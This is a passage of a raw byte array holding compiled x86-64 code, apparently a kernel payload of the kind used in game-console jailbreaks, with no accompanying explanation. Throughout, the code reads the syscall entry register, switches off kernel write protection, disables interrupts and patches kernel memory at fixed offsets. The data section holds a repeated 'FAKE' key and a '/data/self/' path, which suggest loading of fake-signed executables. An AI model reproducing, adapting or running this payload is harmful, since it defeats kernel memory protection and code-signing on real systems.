,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,113,31,0,0,72,141,5,202,27,0,0,72,137,132,36,144,0,0,0,72,141,5,59,27,0,0,72,137,132,36,152,0,0,0,72,141,5,172,26,0,0,72,137,132,36,160,0,0,0,72,141,5,29,26,0,0,72,137,132,36,168,0,0,0,72,141,5,142,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,174,30,0,0,49,210,72,137,239,255,21,35,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,81,30,0,0,72,139,53,138,30,0,0,72,137,239,65,137,199,255,21,246,30,0,0,69,133,255,15,133,217,1,0,0,72,139,61,150,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,5,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,168,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,252,29,0,0,49,210,72,137,239,255,21,113,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,73,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,111,24,0,0,76,137,214,76,137,215,255,21,107,29,0,0,72,139,53,180,29,0,0,72,137,239,137,68,36,16,255,21,31,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,230,29,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,75,29,0,0,49,210,72,137,239,255,21,192,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,152,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,195,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,186,28,0,0,72,139,53,3,29,0,0,72,137,239,65,137,198,255,21,111,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,108,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,84,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,59,28,0,0,72,139,61,220,28,0,0,255,21,78,29,0,0,235,16,72,139,61,205,28,0,0,69,49,228,255,21,60,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,169,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,4,29,0,0,65,137,196,72,139,5,114,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,83,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,7,28,0,0,72,141,115,12,186,32,0,0,0,255,21,88,28,0,0,72,139,5,233,27,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,93,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,167,27,0,0,49,210,72,137,239,255,21,28,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,66,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,26,27,0,0,133,192,117,3,65,137,196,72,139,53,100,27,0,0,72,137,239,255,21,211,27,0,0,72,131,196,24,68,137,224,93,65,92,195,243,15,30,250,65,85,65,84,85,72,137,253,83,81,72,139,127,8,49,219,232,176,254,255,255,72,133,192,116,4,72,139,88,16,72,137,239,255,21,157,26,0,0,133,192,65,137,196,117,6,131,125,4,0,116,78,72,133,219,116,73,102,131,123,80,2,117,66,76,141,171,96,2,0,0,76,137,239,232,58,255,255,255,133,192,117,47,186,160,0,0,0,76,137,238,72,137,223,69,49,228,255,21,85,27,0,0,72,141,187,160,0,0,0,186,96,3,0,0,49,246,255,21,57,27,0,0,199,69,4,0,0,0,0,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,85,83,72,137,251,81,72,139,127,8,49,237,232,35,254,255,255,72,133,192,116,4,72,139,104,16,72,137,223,255,21,16,26,0,0,133,192,117,6,131,123,4,0,116,28,72,133,237,116,23,129,125,0,0,2,0,0,117,14,72,141,125,36,232,180,254,255,255,137,67,4,49,192,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,21,131,255,255,255,72,141,136,64,254,255,255,129,234,21,173,100,0,41,202,137,144,81,171,100,0,72,141,21,214,254,255,255,129,234,227,186,100,0,41,202,137,144,31,185,100,0,72,141,21,73,249,255,255,129,234,74,77,98,0,41,202,137,144,134,75,98,0,72,141,21,146,253,255,255,129,234,226,35,98,0,41,202,137,144,30,34,98,0,72,141,21,17,250,255,255,68,141,130,50,27,151,255,129,234,255,230,104,0,65,41,200,41,202,68,137,128,10,227,104,0,137,144,59,229,104,0,87,157,15,34,198,195,72,133,255,116,49,131,63,2,117,44,72,131,236,24,72,141,116,36,8,255,21,129,25,0,0,133,192,116,4,49,192,235,16,72,139,68,36,8,72,131,120,8,1,15,148,192,15,182,192,72,131,196,24,195,49,192,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,137,253,72,141,124,36,24,255,21,57,25,0,0,131,125,0,1,15,133,178,0,0,0,139,69,0,186,2,0,0,0,72,139,29,144,25,0,0,65,188,12,0,0,0,72,139,53,139,25,0,0,137,68,36,8,139,69,8,68,15,183,123,12,137,68,36,12,15,183,67,14,65,1,199,77,99,239,76,137,239,255,21,184,25,0,0,72,133,192,73,137,198,15,132,131,0,0,0,72,139,117,56,76,137,234,72,137,199,255,21,116,25,0,0,72,139,125,56,76,137,234,72,137,222,255,21,100,25,0,0,199,69,0,2,0,0,0,72,137,239,68,137,125,8,255,21,168,24,0,0,72,139,125,56,76,137,246,65,137,196,76,137,234,255,21,61,25,0,0,139,68,36,8,76,137,247,72,139,53,7,25,0,0,137,69,0,139,68,36,12,137,69,8,255,21,63,25,0,0,235,28,72,137,239,232,227,254,255,255,133,192,15,133,62,255,255,255,72,137,239,255,21,92,24,0,0,65,137,196,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,61,65,84,83,72,131,236,24,76,141,37,176,21,0,0,72,137,124,36,8,76,137,230,255,21,226,24,0,0,72,139,124,36,8,72,133,192,72,137,195,116,13,76,137,231,255,21,164,24,0,0,72,141,60,3,72,131,196,24,91,65,92,255,37,35,24,0,0,243,15,30,250,85,72,137,229,65,85,72,131,236,24,72,139,69,0,73,137,253,72,139,120,248,72,133,255,116,25,72,137,85,224,72,137,117,232,232,70,254,255,255,72,139,117,232,133,192,72,139,85,224,117,16,72,131,196,24,76,137,239,65,93,93,255,37,212,23,0,0,199,66,4,0,0,0,0,72,131,196,24,65,93,49,192,93,195,243,15,30,250,65,85,65,84,85,73,137,205,72,129,236,160,0,0,0,131,63,1,72,137,253,117,12,72,133,246,116,68,77,133,237,117,51,235,61,72,137,52,36,137,84,36,12,232,229,253,255,255,72,139,52,36,133,192,117,223,139,84,36,12,72,129,196,160,0,0,0,76,137,233,72,137,239,93,65,92,65,93,255,37,99,23,0,0,72,137,239,232,185,253,255,255,133,192,117,11,65,188,22,0,0,0,233,29,1,0,0,72,141,116,36,16,72,137,239,255,21,54,23,0,0,133,192,65,137,196,15,133,4,1,0,0,139,69,0,131,248,1,117,15,72,139,69,56,72,133,192,15,132,209,0,0,0,235,102,131,248,2,15,133,206,0,0,0,72,139,69,56,15,183,112,12,15,183,80,24,72,141,78,224,72,193,226,5,72,41,209,72,131,249,63,15,134,181,0,0,0,128,225,15,15,133,172,0,0,0,15,183,72,14,72,141,180,14,0,255,255,255,72,1,198,72,141,68,16,32,72,129,62,136,0,0,0,117,22,72,131,198,8,72,141,124,36,24,186,136,0,0,0,255,21,72,23,0,0,235,84,139,64,16,102,61,24,254,116,39,119,118,137,194,131,226,239,102,129,250,0,254,116,6,102,131,248,2,117,100,72,141,124,36,24,186,136,0,0,0,72,141,53,176,20,0,0,235,17,72,141,124,36,24,186,136,0,0,0,72,141,53,253,19,0,0,255,21,255,22,0,0,72,139,68,36,16,72,139,0,72,137,68,36,24,72,141,116,36,24,186,136,0,0,0,76,137,239,255,21,223,22,0,0,235,30,65,188,3,0,0,0,235,22,65,188,221,255,255,255,235,14,65,188,219,255,255,255,235,6,65,188,45,0,0,0,72,129,196,160,0,0,0,68,137,224,93,65,92,65,93,195,72,133,255,72,139,21,101,22,0,0,72,137,248,116,23,72,139,18,72,133,210,116,12,72,59,66,32,117,242,72,139,66,16,235,3,49,192,195,195,243,15,30,250,85,72,137,229,65,87,65,86,65,85,65,84,83,72,131,236,40,72,139,69,0,73,137,253,76,139,70,8,76,139,126,80,73,137,244,76,139,118,88,72,139,120,248,139,70,72,139,94,68,72,133,255,137,69,204,116,73,131,63,1,117,43,76,137,199,69,49,192,232,140,255,255,255,76,137,255,73,137,197,232,129,255,255,255,77,133,246,73,137,193,116,64,76,137,247,232,113,255,255,255,73,137,192,235,51,72,137,85,184,76,137,69,192,232,220,251,255,255,76,139,69,192,133,192,72,139,85,184,117,188,72,131,196,40,76,137,230,91,76,137,239,65,92,65,93,65,94,65,95,93,255,37,96,21,0,0,77,133,237,76,137,69,192,116,96,77,133,201,116,91,137,222,72,139,13,209,21,0,0,76,1,206,77,133,246,15,149,194,77,57,247,15,149,192,132,194,116,55,133,219,116,51,65,190,0,64,0,0,76,137,239,65,41,222,76,137,242,255,209,76,139,69,192,77,133,192,116,33,139,69,204,75,141,60,46,76,137,198,141,148,3,0,192,255,255,255,21,137,21,0,0,235,8,139,85,204,76,137,239,255,209,65,199,68,36,4,0,0,0,0,72,131,196,40,91,49,192,65,92,65,93,65,94,65,95,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,15,32,198,72,137,242,72,129,226,255,255,254,255,15,34,194,156,95,250,72,141,13,238,252,255,255,72,141,144,64,254,255,255,129,233,83,169,99,0,41,209,137,136,143,167,99,0,72,141,13,36,251,255,255,68,141,129,21,79,156,255,129,233,206,189,99,0,41,209,65,41,208,137,136,10,188,99,0,72,141,13,91,252,255,255,129,233,194,251,99,0,68,137,128,39,175,99,0,41,209,137,136,254,249,99,0,72,141,13,90,254,255,255,129,233,29,8,100,0,41,209,137,136,89,6,100,0,72,141,13,222,251,255,255,129,233,1,168,99,0,41,209,137,136,61,166,99,0,87,157,15,34,198,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,81,72,139,86,8,73,137,253,184,1,0,0,0,72,133,210,116,106,72,139,5,90,20,0,0,72,137,245,72,131,62,0,72,139,24,117,19,49,192,72,139,27,255,192,72,133,219,117,246,72,152,72,137,2,235,66,68,139,58,69,49,228,69,57,231,126,55,77,107,244,36,72,139,125,0,72,141,179,84,4,0,0,186,32,0,0,0,73,255,196,76,1,247,255,21,72,20,0,0,139,147,176,0,0,0,72,139,27,72,139,69,0,72,133,219,66,137,84,48,32,117,196,49,192,72,99,208,73,137,149,152,3,0,0,90,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,139,5,214,19,0,0,72,139,0,57,184,176,0,0,0,116,8,72,139,0,72,133,192,117,240,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,76,137,197,101,76,139,4,37,0,0,0,0,72,133,255,184,1,0,0,0,15,132,188,0,0,0,72,133,210,72,137,211,117,24,49,192,72,133,237,15,132,169,0,0,0,72,199,69,0,0,0,0,0,233,156,0,0,0,73,137,207,72,141,76,36,16,69,137,205,76,137,68,36,8,72,137,12,36,73,137,252,73,137,246,72,137,207,49,246,186,16,0,0,0,255,21,124,19,0,0,76,137,124,36,16,76,141,124,36,32,72,137,92,36,24,49,246,186,48,0,0,0,76,137,255,255,21,93,19,0,0,72,139,12,36,49,192,76,139,68,36,8,69,133,237,15,149,192,199,68,36,40,1,0,0,0,76,137,254,72,137,76,36,32,76,137,231,76,137,116,36,48,72,137,92,36,56,199,68,36,64,1,0,0,0,137,68,36,68,76,137,68,36,72,255,21,248,17,0,0,72,133,237,116,9,72,43,92,36,56,72,137,93,0,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,83,72,137,251,139,62,232,219,254,255,255,72,137,199,184,1,0,0,0,72,133,255,116,27,76,139,86,8,69,49,192,72,139,78,16,72,139,86,24,68,139,78,32,76,137,214,232,210,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,137,251,80,72,107,219,48,72,137,245,186,48,0,0,0,49,246,72,3,29,42,18,0,0,72,137,223,255,21,145,18,0,0,199,3,8,0,0,0,72,137,107,8,199,67,44,1,0,0,0,90,91,93,195,243,15,30,250,65,84,85,83,72,137,243,72,131,236,16,65,131,204,255,72,199,68,36,8,0,0,0,0,255,21,98,17,0,0,72,133,192,15,132,215,0,0,0,76,99,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,57,17,0,0,233,186,0,0,0,255,21,38,17,0,0,72,131,59,0,117,9,76,137,99,8,233,144,0,0,0,49,246,72,141,84,36,8,72,137,239,69,49,228,255,21,244,16,0,0,133,192,116,115,72,137,239,65,131,204,255,255,21,235,16,0,0,72,137,239,255,21,242,16,0,0,235,118,72,139,116,36,8,73,107,252,58,73,255,196,72,3,59,72,139,70,32,72,129,198,141,0,0,0,139,86,207,72,137,71,32,72,139,70,155,72,137,71,40,72,139,70,195,72,137,71,48,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,71,56,255,21,176,17,0,0,72,139,68,36,8,72,139,64,8,72,133,192,72,137,68,36,8,116,6,76,57,99,8,119,159,72,137,239,69,49,228,255,21,115,16,0,0,72,137,239,255,21,122,16,0,0,72,131,196,16,68,137,224,91,93,65,92,195,243,15,30,250,83,72,137,251,139,62,232,78,253,255,255,72,137,199,184,1,0,0,0,72,133,255,116,16,72,131,126,8,4,117,9,72,139,118,16,232,198,254,255,255,72,99,208,72,137,147,152,3,0,0,91,195,243,15,30,250,85,83,80,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,156,93,250,72,141,53,101,252,255,255,191,107,0,0,0,232,84,254,255,255,72,141,53,10,254,255,255,191,108,0,0,0,232,67,254,255,255,72,141,53,134,255,255,255,191,109,0,0,0,232,50,254,255,255,85,157,15,34,195,90,91,93,195,243,15,30,250,185,130,0,0,192,15,50,72,193,226,32,72,9,208,72,141,144,64,42,83,1,72,137,21,161,16,0,0,72,141,144,136,234,213,0,72,137,21,139,16,0,0,72,141,144,128,153,45,2,72,137,21,117,16,0,0,72,141,144,152,96,100,2,72,137,21,95,16,0,0,72,141,144,200,190,103,2,72,137,21,73,16,0,0,72,141,144,248,129,101,2,72,137,21,51,16,0,0,72,141,144,8,130,101,2,72,137,21,29,16,0,0,72,141,144,64,190,101,2,72,137,21,7,16,0,0,72,141,144,72,198,101,2,72,137,21,241,15,0,0,72,141,144,128,254,101,2,72,137,21,219,15,0,0,72,141,144,208,43,16,1,72,137,21,197,15,0,0,72,141,144,128,151,16,0,72,137,21,111,16,0,0,72,141,144,192,152,10,0,72,137,21,89,16,0,0,72,141,144,128,154,10,0,72,137,21,67,16,0,0,72,141,144,160,152,16,0,72,137,21,45,16,0,0,72,141,144,96,154,16,0,72,137,21,23,16,0,0,72,141,144,208,114,63,0,72,137,21,1,16,0,0,72,141,144,16,198,38,0,72,137,21,235,15,0,0,72,141,144,208,198,38,0,72,137,21,213,15,0,0,72,141,144,96,43,71,0,72,137,21,191,15,0,0,72,141,144,48,229,3,0,72,137,21,169,15,0,0,72,141,144,128,1,46,0,72,137,21,147,15,0,0,72,141,144,48,79,12,0,72,137,21,125,15,0,0,72,141,144,224,103,34,0,72,137,21,103,15,0,0,72,141,144,80,91,10,0,72,137,21,249,14,0,0,72,141,144,32,218,98,0,72,137,21,227,14,0,0,72,141,144,48,20,100,0,72,137,21,205,14,0,0,72,141,144,112,28,100,0,72,137,21,183,14,0,0,72,141,144,208,213,99,0,72,137,21,161,14,0,0,72,141,144,144,20,100,0,72,137,21,139,14,0,0,72,141,144,64,201,98,0,72,137,21,77,14,0,0,72,141,144,160,19,98,0,72,137,21,39,14,0,0,72,141,144,96,16,98,0,72,137,21,33,14,0,0,72,141,144,224,74,98,0,72,137,21,27,14,0,0,72,141,144,48,12,98,0,72,137,21,245,13,0,0,72,141,144,224,146,97,0,72,137,21,15,14,0,0,72,141,144,96,200,6,0,72,137,21,33,14,0,0,72,141,144,64,156,59,0,72,137,21,3,14,0,0,72,141,144,112,158,59,0,72,137,21,237,13,0,0,72,141,144,16,162,19,0,72,137,21,239,13,0,0,72,141,144,128,218,68,0,72,137,21,113,13,0,0,72,141,144,32,205,56,0,72,137,21,139,13,0,0,72,141,144,80,203,56,0,72,137,21,117,13,0,0,72,141,144,176,206,56,0,72,137,21,95,13,0,0,72,141,144,0,207,56,0,72,5,240,212,56,0,72,137,21,67,13,0,0,72,137,5,52,13,0,0,195,243,15,30,250,80,49,192,232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,79,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,254,13,0,0,255,37,64,14,0,0,72,139,5,225,13,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,72,14,0,0,72,137,223,255,21,239,13,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,134,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,103,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,11,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,248,11,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,203,11,0,0,233,239,0,0,0,255,21,184,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,152,11,0,0,133,192,117,44,72,139,53,133,12,0,0,65,107,252,58,186,2,0,0,0,255,21,198,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,99,11,0,0,72,137,239,255,21,106,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,35,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,215,10,0,0,72,137,239,255,21,222,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,108,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,193,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,6,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,233,1,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,75,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,136,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,16,179,49,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,91,1,0,0,72,141,179,175,38,61,0,77,137,224,72,141,13,76,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,53,1,0,0,76,141,53,203,8,0,0,72,141,179,144,74,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,164,252,255,255,133,192,15,133,12,1,0,0,72,141,179,167,247,59,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,130,252,255,255,133,192,15,133,234,0,0,0,72,141,179,240,41,60,0,77,137,224,72,141,13,120,8,0,0,186,4,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,196,0,0,0,72,141,179,185,8,251,0,77,137,224,72,141,13,190,8,0,0,186,5,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,158,0,0,0,72,141,179,225,21,159,0,77,137,224,72,141,13,158,8,0,0,186,1,0,0,0,72,137,239,232,16,252,255,255,133,192,117,124,72,141,179,253,79,96,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,242,251,255,255,133,192,117,94,72,141,179,233,66,115,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,212,251,255,255,133,192,117,64,72,141,179,230,159,56,0,77,137,224,72,141,13,211,7,0,0,186,5,0,0,0,72,137,239,232,178,251,255,255,133,192,117,30,72,141,179,79,155,211,0,77,137,224,72,141,13,173,7,0,0,186,3,0,0,0,72,137,239,232,144,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,42,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,107,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,229,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,200,251,255,255,69,49,246,76,141,61,36,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,234,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,144,94,24,0,77,137,224,72,141,13,163,6,0,0,186,4,0,0,0,72,137,239,232,135,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,162,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,123,8,0,0,72,141,13,138,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,122,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,28,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,80,206,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,208,249,255,255,133,192,117,26,72,141,179,176,209,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,178,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,76,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,199,5,0,0,72,199,68,36,24,0,0,0,0,232,35,249,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,4,250,255,255,69,49,228,76,141,45,96,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,45,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,85,203,14,0,72,141,13,67,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,211,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,112,203,14,0,72,141,13,28,5,0,0,186,2,0,0,0,72,137,239,232,175,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,73,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,144,222,185,1,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0